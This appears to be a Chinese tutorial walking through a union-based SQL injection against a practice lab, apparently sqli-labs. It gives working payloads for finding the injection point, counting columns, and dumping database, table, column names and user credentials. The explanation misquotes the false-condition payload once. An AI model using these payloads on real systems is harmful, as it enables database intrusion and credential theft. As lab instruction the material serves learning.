打开sql靶场
一.判断注入类型
在网址输入?id=1,页面正常回显
我们在输入?id=1',页面报错,说明存在sql注入
我们再输入?id=1' and 1=1--+,页面正常回显
我们在输入?id=1' and 1=2--+,页面没有回显
这里我们知道了是字符型注入
为什么是字符型注入:and是两边都要为真才会执行,第一次?id=1' and 1=1--+两边都为真,说明可能是字符型,为了验证第一次的猜测,我们在and右边设置一个假条件1=2,输入?id=1' and 1=1--+页面不回显,验证了我们的猜测他是存在字符型注入。(--+是注释符)
二.判断列数
输入?id=1' order by 3--+,页面回显正常
在输入?id=1' order by 4--+,页面报错,说明存在三列
三.判断回显点
我们再输入?id=-1' union select 1,2,3--+,这样我们就看到了回显点在这
四.查询数据库
我们在把2替换成database(),就会得到数据库名
五.查询表名
得到数据库后我们开始报表
?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
六.查询列名
?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
七.查询数据
-1' union select 1,group_concat(id,'~',username,'~',password),3 from users --+